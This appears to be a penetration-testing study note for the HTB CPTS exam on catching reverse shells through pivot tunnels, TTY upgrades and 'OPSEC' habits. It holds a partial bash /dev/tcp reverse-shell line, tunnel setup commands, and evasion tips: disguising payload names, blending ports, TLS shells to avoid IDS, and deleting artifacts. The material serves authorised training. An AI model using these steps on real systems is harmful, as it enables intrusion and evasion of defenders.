[!tip] CPTS tip The gotcha that eats exam time: payloads generated for internal hosts must call back to an IP the internal host can reach (the pivot/agent IP), not my tun0. Then the agent’s
listener_add(ligolo-ng) orR:port(chisel) relays it to my real listener. Draw the path once on paper:internal host → pivot IP:4444 → tunnel → my 4444.Also: ligolo-ng needs its proxy running on my box and a TUN interface up (
sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up, thenstartin the proxy session) before agents can dial back — the “agent connects but no routes work” failure is almost always a missingip route add <internal>/24 dev ligolo. Full sequence in Stage 10.
OPSEC & shell hygiene (wrap-up)
[!example] CPTS exam flow in 6 steps
- Get execution primitive (web shell / RCE) → 2. listener up on 443 → 3. fire the reverse one-liner matching the target’s interpreters → 4. TTY upgrade (
python3 -c 'import pty;...'+stty raw -echo; fg+ rows/cols) → 5. if post-ex needed, msfvenom + multi/handler (ExitOnSession false) → 6. enumerate toward Stage 09, loot toward Stage 10. Practise the whole chain until it’s muscle memory — the exam clock punishes re-reading this note.
- Payload naming (T1036):
shell.exe/met.exeare triage bait. Rename to plausible system-ish names and log the mapping in notes. - Port choice: 443/80 blend with egress; 4444/1337 are watchlisted outside labs. One port per listener; record
port → payload → target. - Staged vs stageless reliability: staged meterpreter is smaller but dies on lossy tunnels mid-stage; stageless singles survive rough links and can be caught by bare
nc— choose per link quality, not habit. - Plaintext shells are wire-visible:
bash -i >& /dev/tcp/...is trivially readable by any IDS. Preferopenssl/socat-TLS or meterpreterreverse_httpswhen inspection is a risk. - Webshells and payloads on disk are IOCs: delete dropped
.php/.aspx/.exeartifacts at the end, kill leftover bind listeners, and note every planted file for the report (T1070.004). - Sessions are perishable: services restart, webshells get wiped, AV eats payloads. Get enumeration data (and loot) off the box early rather than assuming the shell survives the night.
- Track the shell inventory: one line per live shell in notes —
host / user-context / catch port / payload type / staged artifact path. When the engagement report needs “what ran where” for ATT&CK mapping, this list is the source of truth. - Exit cleanly: background or
exitsessions deliberately, kill handlers viajobs -k, and confirm no stray bind listeners remain on targets (ss -lntup/netstat -anowhere reachable).
[!navigation] Continue the attack flow Previous: Foothold Toolkit — File Transfers
Dashboard: HTB Pentest Attack Flow